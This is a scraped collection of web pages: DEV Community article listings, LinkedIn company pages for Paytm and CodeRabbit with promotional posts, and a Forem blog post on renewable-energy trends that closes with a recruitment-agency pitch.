How to Run Professional Performance Audits # performance # lighthouse # webdev # frontend Comments Add Comment 4 min read CQRS Pattern and Event Sourcing System Design Kader Khan Kader Khan Kader Khan Follow Dec 29 '25 CQRS Pattern and Event Sourcing System Design # architecture # performance # systemdesign Comments Add Comment 3 min read The End of GPU Monarchy? Why Specialized Accelerators Are the Future of AI Compute Igor Voronin Igor Voronin Igor Voronin Follow Dec 30 '25 The End of GPU Monarchy? Why Specialized Accelerators Are the Future of AI Compute # architecture # machinelearning # ai # performance Comments Add Comment 2 min read Edge Computing in Backend Architectures Aviral Srivastava Aviral Srivastava Aviral Srivastava Follow Dec 29 '25 Edge Computing in Backend Architectures # architecture # backend # performance Comments Add Comment 8 min read Speed Up Your Worker with Cache API (5 Lines of Code) Alejandro Alejandro Alejandro Follow Dec 29 '25 Speed Up Your Worker with Cache API (5 Lines of Code) # cloudflarechallenge # webdev # performance # node Comments Add Comment 1 min read The Best WordPress Caching Plugins in 2026 (What Actually Works) Bianca Rus Bianca Rus Bianca Rus Follow Dec 29 '25 The Best WordPress Caching Plugins in 2026 (What Actually Works) # wordpress # webdev # performance # plugin Comments Add Comment 6 min read Building a Scalable Multi-Language Marketplace in a Fragmented Region (Lessons from the Balkans) Cengiz Özşaylan Cengiz Özşaylan Cengiz Özşaylan Follow Dec 28 '25 Building a Scalable Multi-Language Marketplace in a Fragmented Region (Lessons from the Balkans) # architecture # startup # product # performance Comments Add Comment 2 min read New Project Launch: destinatransfer.taxi Derya Aksu Derya Aksu Derya Aksu Follow Dec 30 '25 New Project Launch: destinatransfer.taxi # showdev # frontend # tailwindcss # performance 5 reactions Comments Add Comment 2 min read You Can't Resize a Bloom Filter. Here's What To Do Instead. Ayush Kumar Anand Ayush Kumar Anand Ayush Kumar Anand Follow Dec 28 '25 You Can't Resize a Bloom Filter. Here's What To Do Instead. # redis # systemdesign # go # performance Comments Add Comment 6 min read How to Reduce Bundle Size in Next js Gouranga Das Samrat Gouranga Das Samrat Gouranga Das Samrat Follow Dec 28 '25 How to Reduce Bundle Size in Next js # react # nextjs # performance # tutorial Comments Add Comment 4 min read Finally, an Object-Oriented Framework for Bun That Isn't a Monster Myron Nevzorov Myron Nevzorov Myron Nevzorov Follow Jan 1 Finally, an Object-Oriented Framework for Bun That Isn't a Monster # architecture # backend # performance # javascript 3 reactions Comments Add Comment 5 min read How to build TinyURL yourself Thái Lê Trí Thái Lê Trí Thái Lê Trí Follow Dec 28 '25 How to build TinyURL yourself # systemdesign # springboot # performance # tutorial Comments Add Comment 2 min read How I Built a Global SaaS with Next.js 14 and Achieved a 100% Lighthouse Score Trinc4 Trinc4 Trinc4 Follow Jan 1 How I Built a Global SaaS with Next.js 14 and Achieved a 100% Lighthouse Score # nextjs # webdev # performance # a11y Comments 2 comments 2 min read Turbopack + Next.js: Setup, Troubleshooting, and Practical Fixes Sumeet Shroff Freelancer Sumeet Shroff Freelancer Sumeet Shroff Freelancer Follow Jan 1 Turbopack + Next.js: Setup, Troubleshooting, and Practical Fixes # tutorial # performance # nextjs # tooling Comments Add Comment 5 min read Practical Next.js Caching: Routes, Data, Revalidation, and Tags Sumeet Shroff Freelancer Sumeet Shroff Freelancer Sumeet Shroff Freelancer Follow Jan 1 Practical Next.js Caching: Routes, Data, Revalidation, and Tags # tutorial # performance # nextjs # react Comments Add Comment 5 min read Next.js 15 Upgrade Playbook: App Router, Caching Pitfalls, and Safe Migration Steps Sumeet Shroff Freelancer Sumeet Shroff Freelancer Sumeet Shroff Freelancer Follow Jan 1 Next.js 15 Upgrade Playbook: App Router, Caching Pitfalls, and Safe Migration Steps # tutorial # performance # nextjs # react Comments Add Comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://in.linkedin.com/company/paytm?trk=organization_guest_main-feed-card_reshare-text | Paytm | LinkedIn Skip to main content LinkedIn Articles People Learning Jobs Games Sign in Join for free Paytm Financial Services Noida, Uttar Pradesh 1,875,799 followers See jobs Follow Discover all 28,444 employees Report this company Overview Jobs Life About us Earn Gold Points on every payment using Paytm, redeem into Digital Gold. A simple way to save more. Built for Atmanirbhar Bharat. #PaytmKaro❤️ Link your bank account on the Paytm app and get your new UPI ID today 🚀 Website https://www.paytm.com External link for Paytm Industry Financial Services Company size 10,001+ employees Headquarters Noida, Uttar Pradesh Type Public Company Specialties Mobile Payments, Financial Services, E-Commerce, Lending, and Insurance Locations Primary Noida, Uttar Pradesh 201301, IN Get directions Employees at Paytm Ravi Adusumalli Sharmilli Ghosh Rahul Saini Vijay Vishnu See all employees Updates Paytm reposted this Paytm Payment Gateway 2,957 followers 18m Report this post 𝗔 𝘀𝗲𝗮𝘀𝗼𝗻 𝗼𝗳 𝗵𝗮𝗿𝘃𝗲𝘀𝘁, 𝗵𝗮𝗽𝗽𝗶𝗻𝗲𝘀𝘀 𝗮𝗻𝗱 𝘁𝗼𝗴𝗲𝘁𝗵𝗲𝗿𝗻𝗲𝘀𝘀 From Lohri to Uttarayan, Pongal and Sankranti, the harvest season brings India together and easy payment options help festive purchases flow into joyful moments with Paytm Payment Gateway. #PaytmKaro 5 Like Comment Share Paytm reposted this Paytm Ads 17,290 followers 21m Report this post 𝗠𝗮𝘆 𝘁𝗵𝗶𝘀 𝗵𝗮𝗿𝘃𝗲𝘀𝘁 𝘀𝗲𝗮𝘀𝗼𝗻 𝗯𝗿𝗶𝗻𝗴 𝗽𝗿𝗼𝘀𝗽𝗲𝗿𝗶𝘁𝘆, 𝗽𝗼𝘀𝗶𝘁𝗶𝘃𝗶𝘁𝘆 𝗮𝗻𝗱 𝗽𝗹𝗲𝗻𝘁𝘆 𝗼𝗳 𝘀𝗺𝗶𝗹𝗲𝘀. From Lohri to Uttarayan, Pongal and Sankranti, the harvest season brings India together. And when celebrations come together, one festive sound at the counter can turn everyday payments into memorable brand moments with Paytm Soundbox Ads. #PaytmKaro …more 3 Like Comment Share Paytm 1,875,799 followers 1h Report this post 𝐋𝐨𝐡𝐫𝐢 𝐢𝐬 𝐡𝐞𝐫𝐞🔥 Festive vibes have taken over the Paytm app too ✨ Celebrate the warmth of Lohri and have a great one 💙 #PaytmKaro 16 Like Comment Share Paytm reposted this Grown Crown - Rise, Grow, Lead 77 followers 23h Report this post Money is not equal to success. No one should measure their own worth or someone else’s based on how much money they earn or have. Earn Money but don’t make it your end goal. Those who make money their primary goal may achieve short-term financial gains, but often fail in many other areas of life. Money is a source of growth and a byproduct of effort. Purpose should be the goal of life. Measure your success by the purpose you set for yourself and how far you’ve come in pursuing it. Don’t make money your purpose. Create real value for society, and money will follow. Paytm founder and billionaire Vijay Shekhar Sharma shares his honest view on money. Listen and apply it to your life. Credit: DTU #vijayshekharsharma #paytm #paytmmoney #money #success #moneytalks #lifeadvice #inspiration #india #bhfyp #reelsindia #reelitfeelit #viralreels #instareels #reelsdaily #reelsviralvideo #believeinyourself #nevergiveup #growncrown PS: Paytm founder Vijay Shekhar Sharma didn’t rise to success overnight when he started his company. He was tested for years. Listen to his story and discover why patience pays off for those who persevere in this YouTube video on our channel : https://lnkd.in/gRdRd-ad I’m dedicated to sharing content that, ➡ Empowers Your Mindset, ➡ Fuels Your Passion, and ➡Strongly Supports Your Growth Journey. Stay Connected with us → Let’s Grow Everyday …more A Billionaire’s Truth About Money Vijay Shekhar Sharma 🔥 47 Like Comment Share Paytm 1,875,799 followers 1d Report this post Monday morning cab to office? 🚕 Pay on Paytm → Gold Coins appear. 🪙 Turn them into Digital Gold whenever you want. Everyday commute just got a little more golden 😉 #PaytmKaro 35 Like Comment Share Paytm reposted this Aman Sharma 3d Report this post Gold gave 60%+ returns in the last year 📈 My friends? 0% returns + emotional baggage as a bonus 😄💼 But plot twist — they’re finally useful 🤝✨ Every time I clear Splitwise dues or send money via UPI on Paytm, I earn Paytm Gold Coins 🪙 ✔️ 1 gold coin for every ₹100 spent 💸 ✔️ Even more if you use RuPay Credit Card via Paytm 💳🚀 Merchant payments, friends, family — every transaction counts 🔁 Digital gold on everyday payments? That’s a quiet wealth-building hack 🤫📊 Looks like achhe din might actually be loading ⏳🚀 #LinkedInViral #MoneyTalks #FinanceHumor #WealthMindset #SmartMoney #DigitalIndia #UPILife #SideHustleMindset #PassiveThinking #EverydayInvesting #FinTechIndia #StartupVibes #AchheDin 88 5 Comments Like Comment Share Paytm 1,875,799 followers 5d Report this post Proud moment for Paytm and for India 🇮🇳 Paytm’s AI system has been recognised globally on the Spider 2.0 benchmark, making us the first Indian company to feature on the Global Capability Leaderboard. This recognition highlights our ability to translate natural language into complex database queries, a critical AI capability that helps developers, tech teams, and analysts power real world analytics and faster decision making at scale. Read details here: https://lnkd.in/gQXQngmF #PaytmKaro 691 14 Comments Like Comment Share Paytm reposted this Rahul Agarwal 1w Report this post I met the Chief Risk Taking officer of Paytm So recently I met Vijay Shekhar Sharma and.... I expected someone different. You know that energy when you walk into a room and everyone's kind of showing off or maintaining a outside personality or just pretending to carry themselves? He was the exact opposite. Simple clothes, making jokes, just being a normal guy managing a $10 billion company like it's no big deal. What got me was how comfortable he was in his own skin. No pretense, no trying to prove anything. During a conversation he mentioned that whenever he was stressed about something, he used to just go grab a puchka and that was his way of dealing with it! I found that oddly human for someone at that level. Most people I know would meditate or do some wellness routine...but he just... goes back to what he knows. The thing that stayed with me, though, was how attached he still is to his roots. It's not something he talks about as some humble origin story for interviews. It's just... how he operates. He'll help anyone with anything, with no ego in the way. Just genuinely interested in people. I think there's something "real" happening there...something that people miss when they talk about successful founders. And it's not about being humble for the brand. It's about actually staying the same person you were before all this happened. That's the rarer ability to have. It was a pleasure talking to you, Vijay. 1,215 33 Comments Like Comment Share Paytm 1,875,799 followers 1w Report this post It’s the New Year 💃🥳 Your Paytm app is all decked up too. Go check it out and start the year on a fresh note ✨ Wishing everyone a very Happy New Year 💙 #PaytmKaro 72 25 Comments Like Comment Share Paytm 1,875,799 followers 1w Report this post Resolution for 2026: Pay smart, earn gold ✨Happy New Year 💃 Every payment gets you Gold Coins that turn into redeemable Digital Gold with the Paytm app💛 Explore now #PaytmKaro 75 10 Comments Like Comment Share Join now to see what you are missing Find people you know at Paytm Browse recommended jobs for you View all updates, news, and articles Join now Similar pages PhonePe Software Development Bengaluru East, Karnataka Flipkart Technology, Information and Internet Bangalore, Karnataka Swiggy Technology, Information and Internet Bengaluru, Karnataka Blinkit Technology, Information and Internet Gurgaon, Haryana Myntra Technology, Information and Internet Bengaluru, Karnataka Zomato Technology, Information and Internet Gurugram, Haryana Zepto Technology, Information and Internet Meesho Technology, Information and Internet Bangalore, Karnataka Nykaa Technology, Information and Internet Mumbai, Maharashtra Razorpay Software Development Bangalore, Karnataka Show more similar pages Show fewer similar pages Browse jobs Paytm jobs 437 open jobs Analyst jobs 55,566 open jobs Engineer jobs 71,158 open jobs Developer jobs 73,513 open jobs Human Resources Intern jobs 1,301 open jobs Scientist jobs 2,584 open jobs Software Engineer jobs 59,663 open jobs Account Manager jobs 9,644 open jobs Marketing Manager jobs 9,433 open jobs Sales Manager jobs 15,201 open jobs Key Account Manager jobs 8,071 open jobs Recruiter jobs 13,759 open jobs User Experience Designer jobs 2,706 open jobs Project Manager jobs 18,687 open jobs Writer jobs 3,673 open jobs Human Resources Executive jobs 1,134 open jobs Python Developer jobs 12,759 open jobs Data Analyst jobs 63,429 open jobs Area Sales Manager jobs 3,441 open jobs Human Resources Business Partner jobs 1,147 open jobs Show more jobs like this Show fewer jobs like this More searches More searches Paytm jobs Analyst jobs Engineer jobs Developer jobs Software Engineer jobs Data Analyst jobs Scientist jobs User Experience Designer jobs Associate Product Manager jobs Human Resources Intern jobs Java Software Engineer jobs Python Developer jobs Human Resources Specialist jobs Project Manager jobs Senior Software Engineer jobs Product Manager jobs Business Analyst jobs Recruiter jobs Writer jobs Product Designer jobs Data Engineer jobs Sales Manager jobs Android Developer jobs Key Account Manager jobs Human Resources Executive jobs iOS Developer jobs Full Stack Engineer jobs Digital Marketing Executive jobs Product Management Intern jobs Talent Acquisition Specialist jobs Marketing Manager jobs Senior Product Manager jobs Human Resources Manager jobs Business Development Specialist jobs Marketing Intern jobs Associate Analyst jobs Account Manager jobs Data Scientist jobs Engineering Manager jobs Finance Intern jobs Supply Chain Intern jobs Javascript Developer jobs Director jobs Marketing Executive jobs Senior Business Analyst jobs Linux Administrator jobs Frontend Developer jobs Digital Marketing Manager jobs Marketing Specialist jobs SQL Developer jobs Social Media Manager jobs Account Executive jobs Director of Engineering jobs Senior Data Analyst jobs Software Tester jobs Finance Specialist jobs Researcher jobs Finance Executive jobs User Interface Designer jobs Application Developer jobs LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . 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https://in.linkedin.com/company/coderabbitai | CodeRabbit | LinkedIn Skip to main content LinkedIn Articles People Learning Jobs Games Sign in Join for free CodeRabbit Software Development San Francisco, California 24,856 followers Cut Code Review Time & Bugs in Half. Instantly. See jobs Follow View all 117 employees Report this company Overview Jobs About us CodeRabbit is an innovative, AI-driven platform that transforms the way code reviews are done. It delivers context-aware, human-like reviews, improving code quality, reducing the time and effort required for thorough manual code reviews, and enabling teams to ship software faster. Trusted by over a thousand organizations, including The Economist, Life360, ConsumerAffairs, Hasura, and many more, to improve their code review workflow. CodeRabbit is SOC 2 Type 2, GDPR certified, and doesn't train on customer's proprietary code. Website https://coderabbit.ai External link for CodeRabbit Industry Software Development Company size 51-200 employees Headquarters San Francisco, California Type Privately Held Founded 2023 Products CodeRabbit CodeRabbit DevOps Software Ship quality code faster with CodeRabbit's AI code reviews. We offer codebase-aware line-by-line reviews with 1-click fixes to speed up your code review process. Merge PRs 50% faster with 50% fewer bugs. Locations Primary San Francisco, California, US Get directions Bengaluru, IN Get directions Employees at CodeRabbit John Demko Ashmeet Sidana Daniel Cohen Miles Mulcare See all employees Updates CodeRabbit reposted this Santosh Yadav 1d Edited Report this post Hey friends hope you had a great weekend, this week was tough for #tailwindcss as project was struggling with funding, good thing this time everyone cared and rushed in to save the project for another day. But the question remains open, is Open Source ever going to be sustainable? Cc: CodeRabbit Open Source funding was always broken Santosh Yadav on LinkedIn 39 1 Comment Like Comment Share CodeRabbit 24,856 followers 16h Report this post Rohit Khanna is going to be sharing how AI is already reshaping real engineering work, which is exactly the kind of conversation we care about at CodeRabbit! If you're in the area and available to attend, you'll not want to miss out! 🐰 Nishant Chandra 18h Edited Over the past year, I've had the same conversation with engineering leaders over and over again. AI isn't just changing how we write code. It's changing how we think about code review, how we structure teams, who we hire, and honestly, what's even worth building in the first place. But most of the conversations happening publicly? They're polished keynotes and product pitches. What's missing are the messy, honest rooms where people can actually think out loud. That's what we're trying to create with FutureLab at Newton School of Technology . The first session is happening in collaboration with The Product Folks . We're bringing together engineering leaders who are living through this shift right now, not theorizing about it. We'll start with a panel: Rohit Khanna (VP Engineering, CodeRabbit ), Rohit Nambiar (VP Engineering, Paytm ), and Aditya C. (VP Engineering, MoEngage ), moderated by Suhas Motwani (Co-founder, The Product Folks ). Then we open it up. No agenda, no script. Just people who've been in the trenches comparing notes, disagreeing, and figuring things out together. If you're actively dealing with how engineering workflows, team structures, and production realities are shifting in an AI-first world, this might be worth your time. Details and invite requests here: https://luma.com/oq62rgmn 8 Like Comment Share CodeRabbit reposted this Devario J. 17h Report this post I've been evaluating agentic code review from a few different sources (openAI, CodeRabbit etc) and so far...Im deeply in love with CodeRabbit . 11 4 Comments Like Comment Share CodeRabbit 24,856 followers 2d Report this post Letting users pick their favorite LLM feels empowering, but it destroys quality, consistency, and cost. The best UX? No model dropdown at all. Here’s why that choice should belong to evaluation, not preference. 👇 https://lnkd.in/ehCzRD5n 14 Like Comment Share CodeRabbit 24,856 followers 3d Report this post Ranking every PR we've ever reviewed 36 4 Comments Like Comment Share CodeRabbit reposted this Nithin K. 4d Report this post When the CEO of the world's most valuable tech company makes a statement like this, you pay attention. This isn't just an endorsement. It's a signal. “We are using CodeRabbit all over NVIDIA!” - Jensen at CES 2026 Michael Fox Mayur Gandhi Rohit Khanna Sahil M Bansal Ritvi Mishra Aravind Putrevu Lewis Mbae Sohum Tanksali Daniel Cohen David Loker Geetika Mehndiratta Hendrik Krack Erik Thorelli #AI #SoftwareDevelopment #CodeReview #NVIDIA #EngineeringExcellence #DevTools 75 3 Comments Like Comment Share CodeRabbit reposted this Amanda Saunders 5d Edited Report this post Big milestone for open AI in production. CodeRabbit just announced support for NVIDIA Nemotron in their AI code review platform. Real open-source models. Real developer workflows. Real production impact. By integrating Nemotron, CodeRabbit is giving teams more flexibility, better cost control, and strong reasoning performance without being locked into a single proprietary model. It’s a great example of how open models are moving beyond research and into day-to-day engineering tools. The future of AI isn’t one giant model. It’s specialized systems, powered by open models, running where and how developers choose. 👏 Huge shoutout to the CodeRabbit team for pushing open AI forward. Read more: https://lnkd.in/eXrbMRVi #agenticAI #AIinAction #opensourceAI …more 77 1 Comment Like Comment Share CodeRabbit 24,856 followers 5d Edited Report this post Mastra ships a mission-critical TypeScript agent framework used by companies like SoftBank and Adobe. For their 1.0 release, they had: > A fast-moving codebase > Zero room for breaking changes. Problem: Moving that fast without a reliable code review tool meant that bugs could slip through. Before CodeRabbit they tried multiple AI review tools and struggled to trust them! But now they have: > 70–85% of comments accepted > 0 follow‐up PRs > A clear baseline for what “review ready” means. Read more below 👇 https://lnkd.in/evwEasyZ 11 Like Comment Share CodeRabbit reposted this Harjot Gill 6d Report this post “We are using CodeRabbit all over NVIDIA!” - Jensen at CES 2026 NVIDIA AI 1,564,692 followers 6d 🤯 100% of NVIDIA engineers code with AI—and they’re checking in 3x more code than before. At that scale, human-only code review can’t keep up. CodeRabbit review agents use models like Claude and GPT with NVIDIA Nemotron to: ✅ Pull context from code, docs, project trackers, and more ✅ Use Nemotron’s long context and reasoning to summarize ✅ …so that frontier models can flag issues and suggest fixes in minutes, not days. Join us today at 11 AM PT to see an end-to-end demo and bring your Qs: https://nvda.ws/4aN0sNi 🤗 Get Nemotron Nano 3: https://nvda.ws/4qKwJJz 159 22 Comments Like Comment Share CodeRabbit reposted this NVIDIA AI 1,564,692 followers 6d Report this post 🤯 100% of NVIDIA engineers code with AI—and they’re checking in 3x more code than before. At that scale, human-only code review can’t keep up. CodeRabbit review agents use models like Claude and GPT with NVIDIA Nemotron to: ✅ Pull context from code, docs, project trackers, and more ✅ Use Nemotron’s long context and reasoning to summarize ✅ …so that frontier models can flag issues and suggest fixes in minutes, not days. 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https://future.forem.com/victor-lang/future-of-renewables-innovation-in-energy-transition-316i | Future of Renewables: Innovation in Energy Transition Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Victor Lang Posted on Nov 28, 2025 Future of Renewables: Innovation in Energy Transition # energy # science # solar The global energy landscape is undergoing a profound transformation. The shift from fossil-fuel dependency to low-carbon, renewable energy sources is no longer a distant aspiration — it's fast becoming reality. For small and mid-sized companies operating in the renewables and environmental services sector, this transition presents tremendous opportunities. Embracing innovation now can position you not only as a contributor to sustainability, but as a leader in a rapidly evolving industry. Renewables on the Rise: A Global Turn Recent data confirms a remarkable uptick in renewable energy deployment worldwide. In 2024, solar photovoltaics, wind, hydro, bioenergy, geothermal and other renewables saw record capacity additions. This growth is driven by multiple factors: The plunging cost of solar PV and wind energy compared to fossil-fuel power. A growing demand for clean energy from governments, industries, and corporations pursuing decarbonization goals. Advances in energy storage, smart-grid integration, and digital tools helping overcome intermittency challenges. As a result, many energy analysts forecast that renewable electricity generation will soon outpace coal-fired power and become the backbone of the global energy system. For renewables and environmental-services companies, this trend signals a widening addressable market — and a strategic inflection point. Innovation Driving the Next Wave: Technologies & Trends to Watch The transition obviously isn’t just about replacing coal plants with solar farms. What makes today’s moment unique is the pace and breadth of innovation across the energy value chain. Key drivers include: Energy Storage & Grid Stability One of the historic roadblocks for renewables — intermittency — is being addressed at scale through advances in energy storage. Lithium-ion batteries, flow batteries, and other storage technologies are becoming more efficient, affordable, and deployable — enabling solar and wind to deliver stable, on-demand power. Alongside this, distributed energy resources (DERs), microgrids, and virtual power plants (VPPs) are emerging as powerful models for local, resilient energy systems — especially relevant for decentralized or community-level projects. Digitalization, AI & Smart-Energy Management Modern renewables are not just physical systems — they are intelligent systems. The integration of AI, predictive analytics, and IoT-driven monitoring helps optimize generation forecasts, maintenance schedules, and energy dispatch; this increases efficiency, reduces downtime, and extends asset lifespan. For companies in the environmental services or clean-energy sector, this creates demand not only for hardware — but for digital solutions, analytics, system integration, and management expertise. Diversified Renewable Mix: Beyond Solar and Wind While solar and wind remain dominant, innovation is expanding the renewable toolkit. Advances in bioenergy, geothermal, hydro, and emerging fields like green hydrogen or “solar fuels” are widening the scope for renewables — enabling tailored energy solutions across geographies, industries, and use-cases. Specialized renewables firms, environmental-services providers, and agile SMEs are uniquely positioned to develop niche solutions — be it community-scale geothermal, bioenergy solutions for waste-to-energy, or hybrid systems combining renewables with advanced storage. Sustainable Corporate Demand & Regulatory Tailwinds As global and regional regulatory frameworks tighten around carbon emissions, many corporations, municipalities, and industrial players are committing to net-zero targets. This is generating a surge in demand for renewable energy procurement, green-energy PPAs, and sustainable energy consulting — providing a growing market for companies offering both installation and advisory services. Additionally, investors and financial institutions are increasingly channeling capital into clean-energy and sustainable projects, easing funding for new ventures and innovations. What It Means for Small and Mid-Sized Renewables & Environmental Firms For SMEs in the renewables and environmental-services sector, the current energy transition presents a strategic window of opportunity — but success requires vision, agility, and strategic positioning. Here’s how companies can leverage the moment: - Position as innovators, not just installers: Moving beyond traditional solar or wind installations — offering storage, hybrid solutions, smart-grid integration, or customized clean-energy packages — helps differentiate in a crowded market. - Leverage flexibility and specialization: Smaller firms can be more agile than large incumbents — able to serve niche segments (rural electrification, community microgrids, hybrid energy + storage, waste-to-energy, etc.) more quickly and cost-effectively than larger players. - Develop digital & systems capabilities: Offering end-to-end solutions — from hardware to software management — will increasingly matter. Firms with cross-functional skills (engineering, IT, analytics, regulatory compliance) will be in high demand. - Forge strategic partnerships: Collaborating with storage providers, tech-startups, financial institutions, or local governments can help scale projects, secure funding, and accelerate deployment. - Build brand and credibility as a trusted clean-energy partner: As more corporates and institutions seek sustainable energy procurement, firms that combine technical expertise with transparent processes and consulting capabilities will stand out. Why Now — And Why You Should Care We are at an inflection point where renewable energy is no longer niche. The global momentum, supported by innovations in storage, digital tools, diversified renewable sources, regulatory push, and corporate demand, is real, urgent, and accelerating. For decision-makers — SMEs, project developers, environmental-services firms — this is a pivotal moment to position for long-term relevance and competitiveness. Firms that act now will not only benefit from first-mover advantage — they will help shape what the renewables-powered future looks like. Role of Strategic Hiring & Talent in This Transition None of these opportunities can be realized without the right talent. As renewables evolve beyond installation — moving into storage, smart-grid integration, data analytics, project financing, regulatory compliance — companies will need diverse expertise: energy engineers, data scientists, project managers, finance & operations experts, sustainability strategists, and more. That’s where a specialized recruitment partner — one attuned to the unique demands of the renewables & environmental services sector — becomes invaluable. If you’re a renewable-energy firm or environmental-services company aiming to scale, innovate, or diversify — having the right leadership and talent pipeline is as critical as having the right technology. Call to Action If you are a small or mid-sized firm in the renewables or environmental-services sector, now is the time to act. Evaluate your service offerings, explore storage and hybrid solutions, invest in digital integration, and build a talent base capable of delivering next-generation clean-energy projects. At BrightPath Associates LLC, we specialize in helping companies in the renewables & environmental services space build that critical workforce — from technical experts and project leaders to sustainability strategists and operations managers. To understand broader industry dynamics and how you can align your business to the transition — explore our comprehensive industry overview page: Medical Device Manufacturing Industry . For a deeper dive into how renewables are set to redefine energy systems globally, check out our full analysis: The Future of Renewables: Innovation in Energy Transition . Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Victor Lang Follow Joined Aug 28, 2025 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account | 2026-01-13T08:49:26 |
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Right menu How to stop individual and all Docker processes Adetayo Akinsanya Adetayo Akinsanya Adetayo Akinsanya Follow Oct 23 '23 How to stop individual and all Docker processes # docker # tutorial # begineers # programming 13 reactions Comments Add Comment 2 min read The Matrix Fight Club built with AWS Amplify Mark Ramrattan Mark Ramrattan Mark Ramrattan Follow for AWS Community Builders Oct 1 '22 The Matrix Fight Club built with AWS Amplify # amplify # javascript # begineers 1 reaction Comments Add Comment 11 min read What is Amazon Lightsail Mim Ahmed Mim Ahmed Mim Ahmed Follow for AWS Community Builders Aug 29 '21 What is Amazon Lightsail # aws # lightsail # begineers # networking 1 reaction Comments Add Comment 1 min read Differentiating RPA from traditional automation Thu Ya Kyaw Thu Ya Kyaw Thu Ya Kyaw Follow Mar 15 '20 Differentiating RPA from traditional automation # begineers # rpa # automation # robotics 5 reactions Comments Add Comment 2 min read Demystifying RPA (Robotic Process Automation) Thu Ya Kyaw Thu Ya Kyaw Thu Ya Kyaw Follow Mar 7 '20 Demystifying RPA (Robotic Process Automation) # begineers # rpa # automation # robotics 14 reactions Comments Add Comment 4 min read Where (And How) to Start Learning AWS as a Beginner Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Follow Nov 18 '19 Where (And How) to Start Learning AWS as a Beginner # cloud # devops # begineers # aws 77 reactions Comments 7 comments 15 min read Tips for a Junior Dev Wilfred Wilfred Wilfred Follow Oct 26 '19 Tips for a Junior Dev # juniordev # begineers # career 133 reactions Comments 11 comments 4 min read Tips for a Junior Dev Wilfred Wilfred Wilfred Follow Oct 26 '19 Tips for a Junior Dev # juniordev # begineers # career 48 reactions Comments 1 comment 4 min read CSS Only Image - Beginner bhuvana-guna bhuvana-guna bhuvana-guna Follow Jul 27 '19 CSS Only Image - Beginner # codepen # css # dailycssimages # begineers 6 reactions Comments 3 comments 1 min read GETTING FAMILIAR WITH HTML5 WEB COMPONENT Priya Seo Priya Seo Priya Seo Follow Jul 9 '19 GETTING FAMILIAR WITH HTML5 WEB COMPONENT # html # webdev # begineers # tutorial 10 reactions Comments Add Comment 22 min read Session Hijacking and how to stop it Ramesh Lingappa Ramesh Lingappa Ramesh Lingappa Follow Oct 16 '18 Session Hijacking and how to stop it # security # programming # webdev # begineers 5 reactions Comments Add Comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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Right menu When a Filesystem Sync Decides Your Sleep Mahmoud Zalt Mahmoud Zalt Mahmoud Zalt Follow Dec 29 '25 When a Filesystem Sync Decides Your Sleep # linux # filesystem # powersaving # kernel Comments Add Comment 9 min read Docker Networking: How Packets Actually Move Sreekanth Kuruba Sreekanth Kuruba Sreekanth Kuruba Follow Dec 23 '25 Docker Networking: How Packets Actually Move # networking # docker # linux # devops Comments Add Comment 2 min read Best Linux Distros for Dual-Boot With Windows (2026 Edition) Linuxano Linuxano Linuxano Follow Dec 19 '25 Best Linux Distros for Dual-Boot With Windows (2026 Edition) # linux # dualboot # ubuntu # archlinux Comments Add Comment 4 min 